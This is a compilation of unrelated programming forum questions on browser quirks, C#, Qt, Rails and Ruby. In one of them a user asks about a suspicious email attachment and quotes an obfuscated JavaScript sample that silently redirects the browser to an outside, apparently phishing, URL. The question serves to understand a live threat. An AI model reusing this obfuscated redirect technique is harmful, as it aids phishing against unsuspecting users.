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  • Reading URL Anchor on IE

    - by tominated
    Hi, I've got a page full of links to another page with anchors on the end (like this: index.html#anchor). On the page they point to, I have a script that is supposed to read where the anchor points to in order to display something. On firefox it works perfectly, But I've noticed that IE seems to remove the #anchor from the end of the url, so the script can't grab the text. Is there a way around this, without any server side code?

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  • C# UDP decoding datagrams fails randomly

    - by Tom Frey
    Hi, I'm experiencing an issue in a multi threaded application and have been debugging it for the last 3 days but for the life of it can not figure it out. I'm writing this, hoping that I either have a DUH moment when typing this or somebody sees something obvious in the code snippets I provide. Here's what's going on: I've been working on a new UDP networking library and have a data producer that multicasts UDP datagrams to several receiver applications. The sender sends on two different sockets that are bound to separate UDP multicast addresses and separate ports. The receiver application also creates two sockets and binds each one to one of the sender's multicast address/port. When the receiver receives the datagram, it copies it from the the buffer in a MemoryStream which is then put onto a thread safe queue, where another thread reads from it and decodes the data out of the MemoryStream. Both sockets have their own queues. What happens now is really weird, it happens randomly, non-reproducible and when I run multiple receiver applications, it only happens randomly on one of them every now and then. Basically, the thread that reads the MemoryStream out of the queue, reads it via a BinaryReader like ReadInt32(), etc. and thereby decodes the data. Every now and then however when it reads the data, the data it reads from it is incorrect, e.g. a negative integer number which the sender never would encode. However, as mentioned before, the decoding only fails in one of the receiver applications, in the other ones the datagram decodes fine. Now you might be saying, well, probably the UDP datagram has a byte corruption or something but I've logged every single datagram that's coming in and compared them on all receivers and the datagrams every application receives are absolutely identical. Now it gets even weirder, when I dump the datagram that failed to decode to disk and write a unit test that reads it and runs it through the decoder, it decodes just fine. Also when I wrap a try/catch around the decoder, reset the MemoryStream position in the catch and run it through the decoder again, it decodes just fine. To make it even weirder, this also only happens when I bind both sockets to read data from the sender, if I only bind one, it doesn't happen or at least I wasn't able to reproduce it. Here are is some corresponding code to what's going on: This is the receive callback for the socket: private void ReceiveCompleted(object sender, SocketAsyncEventArgs args) { if (args.SocketError != SocketError.Success) { InternalShutdown(args.SocketError); return; } if (args.BytesTransferred > SequencedUnitHeader.UNIT_HEADER_SIZE) { DataChunk chunk = new DataChunk(args.BytesTransferred); Buffer.BlockCopy(args.Buffer, 0, chunk.Buffer, 0, args.BytesTransferred); chunk.MemoryStream = new MemoryStream(chunk.Buffer); chunk.BinaryReader = new BinaryReader(chunk.MemoryStream); chunk.SequencedUnitHeader.SequenceID = chunk.BinaryReader.ReadUInt32(); chunk.SequencedUnitHeader.Count = chunk.BinaryReader.ReadByte(); if (prevSequenceID + 1 != chunk.SequencedUnitHeader.SequenceID) { log.Error("UdpDatagramGap\tName:{0}\tExpected:{1}\tReceived:{2}", unitName, prevSequenceID + 1, chunk.SequencedUnitHeader.SequenceID); } else if (chunk.SequencedUnitHeader.SequenceID < prevSequenceID) { log.Error("UdpOutOfSequence\tName:{0}\tExpected:{1}\tReceived:{2}", unitName, prevSequenceID + 1, chunk.SequencedUnitHeader.SequenceID); } prevSequenceID = chunk.SequencedUnitHeader.SequenceID; messagePump.Produce(chunk); } else UdpStatistics.FramesRxDiscarded++; Socket.InvokeAsyncMethod(Socket.ReceiveAsync, ReceiveCompleted, asyncReceiveArgs); } Here's some stub code that decodes the data: public static void OnDataChunk(DataChunk dataChunk) { try { for (int i = 0; i < dataChunk.SequencedUnitHeader.Count; i++) { int val = dataChunk.BinaryReader.ReadInt32(); if(val < 0) throw new Exception("EncodingException"); // do something with that value } } catch (Exception ex) { writer.WriteLine("ID:" + dataChunk.SequencedUnitHeader.SequenceID + " Count:" + dataChunk.SequencedUnitHeader.Count + " " + BitConverter.ToString(dataChunk.Buffer, 0, dataChunk.Size)); writer.Flush(); log.ErrorException("OnDataChunk", ex); log.Info("RETRY FRAME:{0} Data:{1}", dataChunk.SequencedUnitHeader.SequenceID, BitConverter.ToString(dataChunk.Buffer, 0, dataChunk.Size)); dataChunk.MemoryStream.Position = 0; dataChunk.SequencedUnitHeader.SequenceID = dataChunk.BinaryReader.ReadUInt32(); dataChunk.SequencedUnitHeader.Count = dataChunk.BinaryReader.ReadByte(); OnDataChunk(dataChunk); } } You see in the catch{} part I simply reset the MemoryStream.Position to 0 and call the same method again and it works just fine that next time? I'm really out of ideas at this point and unfortunately had no DUH moment writing this. Anybody have any kind of idea what might be going on or what else I could do to troubleshoot this? Thanks, Tom

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  • Spectral Reconstruction

    - by Hani
    I have a small system which consist of: Led Clusters, camera(RGB or grayscale) and an object to be detected. I am emitting a light from the LED clusters (ex: yellow). After emitting light on the object, I am capturing an image for the object from the camera. I want to get the spectral image of the object from the captured image. Please if any one knows the algorithm or a code for this purpose(grayscale or RGB camera), tell me. Thanks.....

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  • has anyone used simile timeline with large amounts of data

    - by oo
    i am using this simile timeline with large amounts of data and i keep getting firefox popping up saying "a script has appeared to no longer be running, do you want to kill it"? is there a limit to the amount of json you can send back to it. I have about 1000 different timeline points with dates, descriptions, etc.

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  • Problem making local copy of a webpage

    - by Claudiu
    I want to run this chrome experiment locally. I copied the .html and .js files, along with the two .jpgs that the demo uses. However, when I run it off my local drive, Chrome gives this error: light.js:89 - Uncaught Error: SECURITY_ERR: DOM Exception 18 Line 89 returns the image data from the canvas after drawing the image to it. What's causing this security exception? It seems to not be Chrome-specific, as Firefox gives the same error.

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  • Using non primitive types in ServiceOperation for WCF Data Service (3.5SP1)

    - by Nix
    Is there any way at all to create a "mock" entity type for use in a WCF Service Operation? We have some queries we do that we need to optimize by exposing as a ServiceOperation. The problem is in order to do so we would result in a very long list of primitative types... Ex SomeoneHelpMe(int time, string name, string address, string i, string purple, string foo, int stillGoing, int tooMany, etc...) And we really need to reduce this to SomeoneHelpedMe(CustomEntityNotMappedToAnything e) This would also help us when it comes time to write some complex queries since there is a 3 param limitation... I saw this will be possible in 4.0 using "complex types", but i am still in the 3.5SP1 world. Let me know if anyone needs more information.

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  • Dragged external events from div overflow do not appear using FullCalender and FCDraggable

    - by user327066
    I am using the FCDraggable version of FullCalendar and everything is working well. However, I would like my external events to be contained in a div with an overflow (ex. JQuery UI Accordian) and dragged onto the calendar. When overflow is on, the external event gets hidden behind the calendar and does not appear until dropped onto the calendar. Without overflow, the external events show fine during the dragging process onto the calendar. Has anyone else encountered this scenario? I know FCDraggable isn't part of the official release branch of FullCalendar but it works so well except for this one issue.

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  • Dynamically inserted input elements not showing up in ActionResult's FormCollection parameter

    - by roosteronacid
    I am adding input elements to a view, dynamically, using JavaScript. But I am unable to find those inputs in my ActionResult's FormCollection parameter...: public ActionResult Del(FormCollection fc) I am able to find static input elements in the View. And using FireBug in Mozilla FireFox, I can see that the inputs are inside of the form element, in the DOM, and are not floating around somewhere random. How can I access these inputs?

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  • css menu hover "hangs" in chrome & safari

    - by boblet
    Greetings - Struggeling with a three-level css menu. Works fine in FireFox and Opera for mac, but in Chrome and Safari the third level "sticks" or "hangs" as a watermark after you move the cursor away. I have tried a few different things without luck. Live demo here: http://www.it-stud.hiof.no/~benteh/tmp/ I have cut away everything else, so this is just the menu css & html. (PS. there are only three levels on archeology, hominins and environmental)

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  • How to create a url for notification in Rails

    - by Salil
    Hi All, i want to send an email to user after he sign-up with code.for ex http://192.168.1.51:3000/logins/activate/435546dgfd757676657 #link contains in an email how can i create the above URL in my notifier model. i know following way url_for :controller=>'logins', :action=>'activate', :id=>'435546dgfd757676657' , :host=>'http://192.168.1.54:3000' Which is working properly. what i want that host should not be hard coded. How can i get host with port in a model. In controller i can find it using follwing ways request.host_with_port Please provide me correct ruby way for doing same.

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  • SecurityException in Sandboxed AppDomain

    - by Galen
    I'm attempting to use C# as a scripting language using CSharpCodeProvider (using VS2010 and .NET 4.0). I want the scripts to be run in a restricted AppDomain with minimal permissions. Currently, I'm getting an exception while trying to instantiate a class in the AppDomain (The call to CreateInstanceAndUnwrap()). Here is some simplified code that reproduces the exception: using System; using System.Collections.Generic; using Microsoft.CSharp; using System.CodeDom; using System.CodeDom.Compiler; using System.Security; using System.Security.Policy; using System.Security.Permissions; using System.Reflection; using System.Runtime.Remoting; namespace ConsoleApp { class Program { static void Main(string[] args) { // set permissions PermissionSet permissions = new PermissionSet(PermissionState.None); permissions.AddPermission(new SecurityPermission( SecurityPermissionFlag.Execution)); AppDomainSetup adSetup = new AppDomainSetup(); adSetup.ApplicationBase = AppDomain.CurrentDomain.BaseDirectory; //Create a list of fully trusted assemblies Assembly[] asms = AppDomain.CurrentDomain.GetAssemblies(); List<StrongName> sns = new List<StrongName>(); for (int x = 0; x < asms.Length; x++) { StrongName sn = asms[x].Evidence.GetHostEvidence<StrongName>(); if (sn != null && sns.Contains(sn) == false) sns.Add(sn); } //this includes: "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" AppDomain domain = AppDomain.CreateDomain("NewAppDomain", AppDomain.CurrentDomain.Evidence, adSetup, permissions);//, sns);//, sn4, sn, sn2, sn3); try { String asmName = Assembly.GetExecutingAssembly().FullName; String typeName = typeof(ConsoleApp.ScriptRunner).FullName; //Throws exception here ScriptRunner scriptRunner = domain.CreateInstanceAndUnwrap(asmName, typeName) as ScriptRunner; } catch (SecurityException se) { System.Diagnostics.Debug.WriteLine(se.Message); } catch (Exception ex) { System.Diagnostics.Debug.WriteLine(ex.Message); } } } public class ScriptRunner : MarshalByRefObject { public ScriptRunner() { //A breakpoint placed here is never reached. CompilerParameters param; param = new CompilerParameters(); param.CompilerOptions = ""; param.GenerateExecutable = false; param.GenerateInMemory = true; param.IncludeDebugInformation = false; // C# compiler CSharpCodeProvider codeProvider = new CSharpCodeProvider(); CompilerResults results = codeProvider.CompileAssemblyFromFile(param, "Danger.cs"); } } } The exception is being thrown from mscorlib and it is a System.Reflection.TargetInvocationException that has an inner System.Security.SecurityException. Here is the exception: System.Reflection.TargetInvocationException was unhandled Message=Exception has been thrown by the target of an invocation. Source=mscorlib StackTrace: at System.RuntimeTypeHandle.CreateInstance(RuntimeType type, Boolean publicOnly, Boolean noCheck, Boolean& canBeCached, RuntimeMethodHandleInternal& ctor, Boolean& bNeedSecurityCheck) at System.RuntimeType.CreateInstanceSlow(Boolean publicOnly, Boolean skipCheckThis, Boolean fillCache) at System.RuntimeType.CreateInstanceDefaultCtor(Boolean publicOnly, Boolean skipVisibilityChecks, Boolean skipCheckThis, Boolean fillCache) at System.Activator.CreateInstance(Type type, Boolean nonPublic) at System.RuntimeType.CreateInstanceImpl(BindingFlags bindingAttr, Binder binder, Object[] args, CultureInfo culture, Object[] activationAttributes) at System.Activator.CreateInstance(Type type, BindingFlags bindingAttr, Binder binder, Object[] args, CultureInfo culture, Object[] activationAttributes) at System.Activator.CreateInstance(String assemblyName, String typeName, Boolean ignoreCase, BindingFlags bindingAttr, Binder binder, Object[] args, CultureInfo culture, Object[] activationAttributes, Evidence securityInfo, StackCrawlMark& stackMark) at System.Activator.CreateInstance(String assemblyName, String typeName) at System.AppDomain.CreateInstance(String assemblyName, String typeName) at System.AppDomain.CreateInstanceAndUnwrap(String assemblyName, String typeName) at System.AppDomain.CreateInstanceAndUnwrap(String assemblyName, String typeName) at ConsoleApp.Program.Main(String[] args) in C:\Documents and Settings\NaultyCS\my documents\visual studio 2010\Projects\ConsoleApplication4\ConsoleApplication4\Program.cs:line 46 at System.AppDomain._nExecuteAssembly(RuntimeAssembly assembly, String[] args) at System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity, String[] args) at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly() at System.Threading.ThreadHelper.ThreadStart_Context(Object state) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean ignoreSyncCtx) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Threading.ThreadHelper.ThreadStart() InnerException: System.Security.SecurityException Message=Request failed. Source=ConsoleApplication4 GrantedSet=<PermissionSet class="System.Security.PermissionSet" version="1"> <IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="Execution"/> </PermissionSet> PermissionState=<PermissionSet class="System.Security.PermissionSet" version="1" Unrestricted="true"/> RefusedSet="" Url=file:///C:/Documents and Settings/NaultyCS/my documents/visual studio 2010/Projects/ConsoleApplication4/ConsoleApplication4/bin/Debug/ConsoleApplication4.EXE StackTrace: at ConsoleApp.ScriptRunner..ctor() InnerException: So it appears to me that mscorlib is demanding full trust. I've added it as a fully trusted assembly, but it has no effect. What am I doing wrong here?

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  • Flex spark web browser problem

    - by sheela
    am using spark web in flex its working fine in IE6 where as in IE7 , Firefox, opera and other browser its not working. on login to spark web its giving error: Problem authenticating with the server or you are not authorised to perform this operation. Please help me out regarding this Thanks n regards Sheela

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  • What does this suspicious phishing code do?

    - by halohunter
    A few of my non-IT coworkers opened a .html attachment in an email message that looks extremely suspicious. It resulted in a blank screen when it appears that some javascript code was run. <script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> What did it do? It's beyond the scope of my programming knowledge.

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  • Pure HTML Music Player

    - by arik-so
    Hello, how can I use pure HTML to make a browser-integrated flash-free online music player? Like, you click on a button, and the music starts playing. I have tried everything with and with(out) , but none of it seems to work. I need it to work in Firefox. I have an MP3 file. Thanks in advance ^^

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  • How to get items that are and are not in a list

    - by Chris
    I have an IEnumerable, listOfOnes, and an IEnumerable, listOfTwos. Assuming that I can compare objects of V against objects of T, I'd like to find which items are in listOfOnes but, not in listOfTwos. And vice versa. ex: var listOfOnes = new List<One> { new One { name = "chris", type = "user" }, new One { name = "foo", type = "group" }, new One { name = "john", type = "user" }, }; var listOfTwos = new[] { new Two { name = "chris", type = "user" }, new Two { name = "john", type = "user" }, new Two { name = "the Steves", type = "group" } }; var notInTwos; //= listOfOnes.FindDifferences(listOfTwos); //find all objects not in listOfTwos. Should find 'foo'. var notInOnes; //= listOfTwos.FindDifferences(listOfOnes) //find all objects not in listOfOnes. Should find 'the Steves'.

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  • C++ - Conway's Game of Life & Stepping Backwards

    - by Gabe
    I was able to create a version Conway's Game of Life that either stepped forward each click, or just ran forward using a timer. (I'm doing this using Qt.) Now, I need to be able to save all previous game grids, so that I can step backwards by clicking a button. I'm trying to use a stack, and it seems like I'm pushing the old gridcells onto the stack correctly. But when I run it in QT, the grids don't change when I click BACK. I've tried different things for the last three hours, to no avail. Any ideas? gridwindow.cpp - My problem should be in here somewhere. Probably the handleBack() func. #include <iostream> #include "gridwindow.h" using namespace std; // Constructor for window. It constructs the three portions of the GUI and lays them out vertically. GridWindow::GridWindow(QWidget *parent,int rows,int cols) : QWidget(parent) { QHBoxLayout *header = setupHeader(); // Setup the title at the top. QGridLayout *grid = setupGrid(rows,cols); // Setup the grid of colored cells in the middle. QHBoxLayout *buttonRow = setupButtonRow(); // Setup the row of buttons across the bottom. QVBoxLayout *layout = new QVBoxLayout(); // Puts everything together. layout->addLayout(header); layout->addLayout(grid); layout->addLayout(buttonRow); setLayout(layout); } // Destructor. GridWindow::~GridWindow() { delete title; } // Builds header section of the GUI. QHBoxLayout* GridWindow::setupHeader() { QHBoxLayout *header = new QHBoxLayout(); // Creates horizontal box. header->setAlignment(Qt::AlignHCenter); this->title = new QLabel("CONWAY'S GAME OF LIFE",this); // Creates big, bold, centered label (title): "Conway's Game of Life." this->title->setAlignment(Qt::AlignHCenter); this->title->setFont(QFont("Arial", 32, QFont::Bold)); header->addWidget(this->title); // Adds widget to layout. return header; // Returns header to grid window. } // Builds the grid of cells. This method populates the grid's 2D array of GridCells with MxN cells. QGridLayout* GridWindow::setupGrid(int rows,int cols) { isRunning = false; QGridLayout *grid = new QGridLayout(); // Creates grid layout. grid->setHorizontalSpacing(0); // No empty spaces. Cells should be contiguous. grid->setVerticalSpacing(0); grid->setSpacing(0); grid->setAlignment(Qt::AlignHCenter); for(int i=0; i < rows; i++) //Each row is a vector of grid cells. { std::vector<GridCell*> row; // Creates new vector for current row. cells.push_back(row); for(int j=0; j < cols; j++) { GridCell *cell = new GridCell(); // Creates and adds new cell to row. cells.at(i).push_back(cell); grid->addWidget(cell,i,j); // Adds to cell to grid layout. Column expands vertically. grid->setColumnStretch(j,1); } grid->setRowStretch(i,1); // Sets row expansion horizontally. } return grid; // Returns grid. } // Builds footer section of the GUI. QHBoxLayout* GridWindow::setupButtonRow() { QHBoxLayout *buttonRow = new QHBoxLayout(); // Creates horizontal box for buttons. buttonRow->setAlignment(Qt::AlignHCenter); // Clear Button - Clears cell; sets them all to DEAD/white. QPushButton *clearButton = new QPushButton("CLEAR"); clearButton->setFixedSize(100,25); connect(clearButton, SIGNAL(clicked()), this, SLOT(handlePause())); // Pauses timer before clearing. connect(clearButton, SIGNAL(clicked()), this, SLOT(handleClear())); // Connects to clear function to make all cells DEAD/white. buttonRow->addWidget(clearButton); // Forward Button - Steps one step forward. QPushButton *forwardButton = new QPushButton("FORWARD"); forwardButton->setFixedSize(100,25); connect(forwardButton, SIGNAL(clicked()), this, SLOT(handleForward())); // Signals to handleForward function.. buttonRow->addWidget(forwardButton); // Back Button - Steps one step backward. QPushButton *backButton = new QPushButton("BACK"); backButton->setFixedSize(100,25); connect(backButton, SIGNAL(clicked()), this, SLOT(handleBack())); // Signals to handleBack funciton. buttonRow->addWidget(backButton); // Start Button - Starts game when user clicks. Or, resumes game after being paused. QPushButton *startButton = new QPushButton("START/RESUME"); startButton->setFixedSize(100,25); connect(startButton, SIGNAL(clicked()), this, SLOT(handlePause())); // Deletes current timer if there is one. Then restarts everything. connect(startButton, SIGNAL(clicked()), this, SLOT(handleStart())); // Signals to handleStart function. buttonRow->addWidget(startButton); // Pause Button - Pauses simulation of game. QPushButton *pauseButton = new QPushButton("PAUSE"); pauseButton->setFixedSize(100,25); connect(pauseButton, SIGNAL(clicked()), this, SLOT(handlePause())); // Signals to pause function which pauses timer. buttonRow->addWidget(pauseButton); // Quit Button - Exits program. QPushButton *quitButton = new QPushButton("EXIT"); quitButton->setFixedSize(100,25); connect(quitButton, SIGNAL(clicked()), qApp, SLOT(quit())); // Signals the quit slot which ends the program. buttonRow->addWidget(quitButton); return buttonRow; // Returns bottom of layout. } /* SLOT method for handling clicks on the "clear" button. Receives "clicked" signals on the "Clear" button and sets all cells to DEAD. */ void GridWindow::handleClear() { for(unsigned int row=0; row < cells.size(); row++) // Loops through current rows' cells. { for(unsigned int col=0; col < cells[row].size(); col++) // Loops through the rows'columns' cells. { GridCell *cell = cells[row][col]; // Grab the current cell & set its value to dead. cell->setType(DEAD); } } } /* SLOT method for handling clicks on the "start" button. Receives "clicked" signals on the "start" button and begins game simulation. */ void GridWindow::handleStart() { isRunning = true; // It is running. Sets isRunning to true. this->timer = new QTimer(this); // Creates new timer. connect(this->timer, SIGNAL(timeout()), this, SLOT(timerFired())); // Connect "timerFired" method class to the "timeout" signal fired by the timer. this->timer->start(500); // Timer to fire every 500 milliseconds. } /* SLOT method for handling clicks on the "pause" button. Receives "clicked" signals on the "pause" button and stops the game simulation. */ void GridWindow::handlePause() { if(isRunning) // If it is running... this->timer->stop(); // Stops the timer. isRunning = false; // Set to false. } void GridWindow::handleForward() { if(isRunning); // If it's running, do nothing. else timerFired(); // It not running, step forward one step. } void GridWindow::handleBack() { std::vector<std::vector<GridCell*> > cells2; if(isRunning); // If it's running, do nothing. else if(backStack.empty()) cout << "EMPTYYY" << endl; else { cells2 = backStack.peek(); for (unsigned int f = 0; f < cells.size(); f++) // Loop through cells' rows. { for (unsigned int g = 0; g < cells.at(f).size(); g++) // Loop through cells columns. { cells[f][g]->setType(cells2[f][g]->getType()); // Set cells[f][g]'s type to cells2[f][g]'s type. } } cout << "PRE=POP" << endl; backStack.pop(); cout << "OYYYY" << endl; } } // Accessor method - Gets the 2D vector of grid cells. std::vector<std::vector<GridCell*> >& GridWindow::getCells() { return this->cells; } /* TimerFired function: 1) 2D-Vector cells2 is declared. 2) cells2 is initliazed with loops/push_backs so that all its cells are DEAD. 3) We loop through cells, and count the number of LIVE neighbors next to a given cell. --> Depending on how many cells are living, we choose if the cell should be LIVE or DEAD in the next simulation, according to the rules. -----> We save the cell type in cell2 at the same indice (the same row and column cell in cells2). 4) After check all the cells (and save the next round values in cells 2), we set cells's gridcells equal to cells2 gridcells. --> This causes the cells to be redrawn with cells2 types (white or black). */ void GridWindow::timerFired() { backStack.push(cells); std::vector<std::vector<GridCell*> > cells2; // Holds new values for 2D vector. These are the next simulation round of cell types. for(unsigned int i = 0; i < cells.size(); i++) // Loop through the rows of cells2. (Same size as cells' rows.) { vector<GridCell*> row; // Creates Gridcell* vector to push_back into cells2. cells2.push_back(row); // Pushes back row vectors into cells2. for(unsigned int j = 0; j < cells[i].size(); j++) // Loop through the columns (the cells in each row). { GridCell *cell = new GridCell(); // Creates new GridCell. cell->setType(DEAD); // Sets cell type to DEAD/white. cells2.at(i).push_back(cell); // Pushes back the DEAD cell into cells2. } // This makes a gridwindow the same size as cells with all DEAD cells. } for (unsigned int m = 0; m < cells.size(); m++) // Loop through cells' rows. { for (unsigned int n = 0; n < cells.at(m).size(); n++) // Loop through cells' columns. { unsigned int neighbors = 0; // Counter for number of LIVE neighbors for a given cell. // We know check all different variations of cells[i][j] to count the number of living neighbors for each cell. // We check m > 0 and/or n > 0 to make sure we don't access negative indexes (ex: cells[-1][0].) // We check m < size to make sure we don't try to access rows out of the vector (ex: row 5, if only 4 rows). // We check n < row size to make sure we don't access column item out of the vector (ex: 10th item in a column of only 9 items). // If we find that the Type = 1 (it is LIVE), then we add 1 to the neighbor. // Else - we add nothing to the neighbor counter. // Neighbor is the number of LIVE cells next to the current cell. if(m > 0 && n > 0) { if (cells[m-1][n-1]->getType() == 1) neighbors += 1; } if(m > 0) { if (cells[m-1][n]->getType() == 1) neighbors += 1; if(n < (cells.at(m).size() - 1)) { if (cells[m-1][n+1]->getType() == 1) neighbors += 1; } } if(n > 0) { if (cells[m][n-1]->getType() == 1) neighbors += 1; if(m < (cells.size() - 1)) { if (cells[m+1][n-1]->getType() == 1) neighbors += 1; } } if(n < (cells.at(m).size() - 1)) { if (cells[m][n+1]->getType() == 1) neighbors += 1; } if(m < (cells.size() - 1)) { if (cells[m+1][n]->getType() == 1) neighbors += 1; } if(m < (cells.size() - 1) && n < (cells.at(m).size() - 1)) { if (cells[m+1][n+1]->getType() == 1) neighbors += 1; } // Done checking number of neighbors for cells[m][n] // Now we change cells2 if it should switch in the next simulation step. // cells2 holds the values of what cells should be on the next iteration of the game. // We can't change cells right now, or it would through off our other cell values. // Apply game rules to cells: Create new, updated grid with the roundtwo vector. // Note - LIVE is 1; DEAD is 0. if (cells[m][n]->getType() == 1 && neighbors < 2) // If cell is LIVE and has less than 2 LIVE neighbors -> Set to DEAD. cells2[m][n]->setType(DEAD); else if (cells[m][n]->getType() == 1 && neighbors > 3) // If cell is LIVE and has more than 3 LIVE neighbors -> Set to DEAD. cells2[m][n]->setType(DEAD); else if (cells[m][n]->getType() == 1 && (neighbors == 2 || neighbors == 3)) // If cell is LIVE and has 2 or 3 LIVE neighbors -> Set to LIVE. cells2[m][n]->setType(LIVE); else if (cells[m][n]->getType() == 0 && neighbors == 3) // If cell is DEAD and has 3 LIVE neighbors -> Set to LIVE. cells2[m][n]->setType(LIVE); } } // Now we've gone through all of cells, and saved the new values in cells2. // Now we loop through cells and set all the cells' types to those of cells2. for (unsigned int f = 0; f < cells.size(); f++) // Loop through cells' rows. { for (unsigned int g = 0; g < cells.at(f).size(); g++) // Loop through cells columns. { cells[f][g]->setType(cells2[f][g]->getType()); // Set cells[f][g]'s type to cells2[f][g]'s type. } } } stack.h - Here's my stack. #ifndef STACK_H_ #define STACK_H_ #include <iostream> #include "node.h" template <typename T> class Stack { private: Node<T>* top; int listSize; public: Stack(); int size() const; bool empty() const; void push(const T& value); void pop(); T& peek() const; }; template <typename T> Stack<T>::Stack() : top(NULL) { listSize = 0; } template <typename T> int Stack<T>::size() const { return listSize; } template <typename T> bool Stack<T>::empty() const { if(listSize == 0) return true; else return false; } template <typename T> void Stack<T>::push(const T& value) { Node<T>* newOne = new Node<T>(value); newOne->next = top; top = newOne; listSize++; } template <typename T> void Stack<T>::pop() { Node<T>* oldT = top; top = top->next; delete oldT; listSize--; } template <typename T> T& Stack<T>::peek() const { return top->data; // Returns data in top item. } #endif gridcell.cpp - Gridcell implementation #include <iostream> #include "gridcell.h" using namespace std; // Constructor: Creates a grid cell. GridCell::GridCell(QWidget *parent) : QFrame(parent) { this->type = DEAD; // Default: Cell is DEAD (white). setFrameStyle(QFrame::Box); // Set the frame style. This is what gives each box its black border. this->button = new QPushButton(this); //Creates button that fills entirety of each grid cell. this->button->setSizePolicy(QSizePolicy::Expanding,QSizePolicy::Expanding); // Expands button to fill space. this->button->setMinimumSize(19,19); //width,height // Min height and width of button. QHBoxLayout *layout = new QHBoxLayout(); //Creates a simple layout to hold our button and add the button to it. layout->addWidget(this->button); setLayout(layout); layout->setStretchFactor(this->button,1); // Lets the buttons expand all the way to the edges of the current frame with no space leftover layout->setContentsMargins(0,0,0,0); layout->setSpacing(0); connect(this->button,SIGNAL(clicked()),this,SLOT(handleClick())); // Connects clicked signal with handleClick slot. redrawCell(); // Calls function to redraw (set new type for) the cell. } // Basic destructor. GridCell::~GridCell() { delete this->button; } // Accessor for the cell type. CellType GridCell::getType() const { return(this->type); } // Mutator for the cell type. Also has the side effect of causing the cell to be redrawn on the GUI. void GridCell::setType(CellType type) { this->type = type; redrawCell(); // Sets type and redraws cell. } // Handler slot for button clicks. This method is called whenever the user clicks on this cell in the grid. void GridCell::handleClick() { // When clicked on... if(this->type == DEAD) // If type is DEAD (white), change to LIVE (black). type = LIVE; else type = DEAD; // If type is LIVE (black), change to DEAD (white). setType(type); // Sets new type (color). setType Calls redrawCell() to recolor. } // Method to check cell type and return the color of that type. Qt::GlobalColor GridCell::getColorForCellType() { switch(this->type) { default: case DEAD: return Qt::white; case LIVE: return Qt::black; } } // Helper method. Forces current cell to be redrawn on the GUI. Called whenever the setType method is invoked. void GridCell::redrawCell() { Qt::GlobalColor gc = getColorForCellType(); //Find out what color this cell should be. this->button->setPalette(QPalette(gc,gc)); //Force the button in the cell to be the proper color. this->button->setAutoFillBackground(true); this->button->setFlat(true); //Force QT to NOT draw the borders on the button } Thanks a lot. Let me know if you need anything else.

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  • Location detecting tecniques for IP addresses

    - by ilhan
    What are the location detecting tecniques for IP adresses? I know to look at the $_SERVER['HTTP_ACCEPT_LANGUAGE'] (not accurate but mostly useful to detect location, for example if an IP range's users set French to their browser then it means that this range) belongs to France and gethostbyaddr($_SERVER['REMOTE_ADDR']) (to look country code top-level domain) then may be to whois gethostbyaddr($_SERVER['REMOTE_ADDR']) sometimes: $HTTP_USER_AGENT (Firefox's user agent string has language code, not accurate but mostly can be used to detect the location) But what about cities?

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  • Firebug is throwing a ' $( ' error?

    - by Kyle
    I am getting a strange error in Firebug, that I am not getting in Webkit. The error comes up as ' $( ' in firebug. Here's the code that is supposedly causing it to flip: $.getScript("http://kylehotchkiss.com/min/?g=packageHome", function() { $(".countdown").countdown({ until: new Date(2010, 6 - 1, 5), layout:'{dn} {dl}' }); }); The error isn't specific to the countdown script, it's just giving me an error trying to call any plugin I just loaded in firefox. Any ideas?

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  • Get In That DB! Parsing CSV Using Ruby...

    - by keruilin
    I have a CSV file formatted just like this: name,color,tasty,qty apple,red,true,3 orange,orange,false,4 pear,greenish-yellowish,true,1 As you can see, each column in the Ruby OO world represents a mix of types -- string, string, boolean, int. Now, ultimately, I want to parse each line in the file, determine the appropriate type, and insert that row into a database via a Rails migration. For ex: Fruit.create(:name => 'apple', :color => 'red', :tasty => true, :qty => 3) Help!

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  • fb:live-stream won't work in Chrome

    - by marcgg
    The fb:live-stream tag won't work in Chrome when I add it to my facebook application. It works fine in Firefox. <div class="content"> <fb:live-stream event_app_id="1234" width="519" height="625"/> </div> Anyone already had this problem?

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